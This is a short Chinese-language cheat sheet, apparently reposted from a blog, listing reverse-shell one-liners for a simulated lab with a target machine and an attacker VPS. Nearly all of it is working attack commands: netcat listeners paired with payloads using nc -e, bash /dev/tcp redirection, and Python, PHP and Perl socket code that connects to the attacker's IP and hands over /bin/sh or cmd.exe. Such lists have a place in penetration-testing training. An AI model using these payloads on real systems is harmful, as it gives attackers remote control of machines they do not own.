Kali:192.168.32.132 //模拟靶机
Windows:192.168.32.1 //模拟公网vps
vps攻击机:nc -lvp 9999 // 监听9999端口
靶机:nc 1.1.1.1 9999 -e /bin/bash // Linux正向连接公网vps1.1.1.1的9999端口
nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe // Windows
vps攻击机:nc -lvp 6666
靶机:bash -I >& /dev/tcp/192.168.32.1/6666 0>&1
vps攻击机:nc -lvp 6666
靶机:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.1",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
vps攻击机:nc -lvp 6666
靶机:php -r '$sock=fsockopen("192.168.32.1",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
Vps攻击机:nc -lvp 6666
靶机:perl -e 'use Socket; $i="192.168.32.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
原文链接:https://blog.csdn.net/weixin_42652002/article/details/112132466?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-2.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-2.control
如有侵权,请联系删除
推荐阅读